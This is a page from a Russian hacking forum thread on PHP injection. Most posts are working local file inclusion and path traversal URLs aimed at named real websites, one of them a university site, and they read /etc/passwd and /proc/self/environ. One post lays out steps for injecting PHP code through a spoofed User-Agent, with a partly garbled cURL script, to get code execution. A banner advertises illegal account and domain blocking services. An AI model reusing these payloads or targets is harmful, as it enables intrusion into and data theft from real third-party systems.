PHP Иньекции — ANTICHAT Forum

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
PHP Иньекции

Страница 132 из 143

132

Опции темы

Поиск в этой теме

Опции просмотра

#1311

09.06.2012, 21:48

Га-Ноцри

Постоянный

Регистрация: 16.10.2011

Сообщений: 326

Провел на форуме:
103014

Репутация: 76

http://www.qcivalves.com/index.php?page=/proc/self/environ

#1312

11.06.2012, 17:48

VY_CMa

Постоянный

Регистрация: 06.01.2012

Сообщений: 913

Провел на форуме:
193811

Репутация: 724

Тема стара но имеет место быть...

Цитата:

Сообщение от None

http://www.
torrentreactor.net
/browse.php?id=../../../../../../../../../../../../etc/passwd
%00

Перепробовал уеву тучу путей, кроме этого файла ничего не смог прочитать.

У кого есть мысли?

#1313

11.06.2012, 21:36

Га-Ноцри

Постоянный

Регистрация: 16.10.2011

Сообщений: 326

Провел на форуме:
103014

Репутация: 76

http://www.colibri.ge/display/index.php?z=end&company=hotels/vere/index.php?cat=/proc/self/environ

На темной фоне нажать Ctrl+A.

#1314

12.06.2012, 04:06

Sleep

Участник форума

Регистрация: 31.10.2007

Сообщений: 193

Провел на форуме:
2080216

Репутация: 150

VY_CMa

Код:

www.torrentreactor.net/browse.php?id=../../../../../../../../../../../../opt/inweb/sites/torrentreactor/www.torrentreactor.net/avatars/1/4/1/7/1417549.jpg%00

#1315

12.06.2012, 12:19

Ereee

Постоянный

Регистрация: 01.12.2011

Сообщений: 560

Провел на форуме:
102354

Репутация: 267

VY_CMa,

http://video.antichat.ru/video/16/

#1316

12.06.2012, 21:51

Га-Ноцри

Постоянный

Регистрация: 16.10.2011

Сообщений: 326

Провел на форуме:
103014

Репутация: 76

http://itakers.com/index.php?file=../../../proc/self/environ

#1317

13.06.2012, 05:41

VY_CMa

Постоянный

Регистрация: 06.01.2012

Сообщений: 913

Провел на форуме:
193811

Репутация: 724

PR=2

Цитата:

Сообщение от None

http://www.creacion.ch/index.php?option=com_ckforms&view=ckforms&id=1&Ite mid=10&controller=../../../robots.txt%00

#1318

13.06.2012, 07:58

Skofield

Участник форума

Регистрация: 27.08.2008

Сообщений: 209

Провел на форуме:
1759582

Репутация: 394

http://irh.wisc.edu/fellowships.php?menu=../../../etc/passwd

#1319

13.06.2012, 20:42

Га-Ноцри

Постоянный

Регистрация: 16.10.2011

Сообщений: 326

Провел на форуме:
103014

Репутация: 76

http://www.coregamers.us/index.php?id=../../../proc/self/environ%00

Чистая реализация инжекта похапе-кода в хранилище переменных окружения.

1. Гуглим функции сURL'a.

2. Пять минут пишем на коленке кулхацкерский скрипт GET-запроса c подменой Юзер-Агента и возвратом ответа.

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$get[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RETURNTRANSFER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$get[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]curl_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$get[/COLOR][COLOR="#007700"]);

    echo([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]

3. Запускаем

4. ???

5. PROFIT!!!

Ну, или подменяем Юзер-Агент "на лету", например Tamper Data'ой.

#1320

19.06.2012, 05:56

Pirotexnik

Постоянный

Регистрация: 13.10.2010

Сообщений: 375

Провел на форуме:
97332

Репутация: 38

http://member.realsexdates.com/clsJSPHP.php?cbr=0&phpinc=../../../../../../etc/passwd

Страница 132 из 143

132

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Books	PSalm69	Избранное	273	13.02.2016 01:24
Books PHP	FRAGNATIC	PHP	186	21.02.2010 02:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход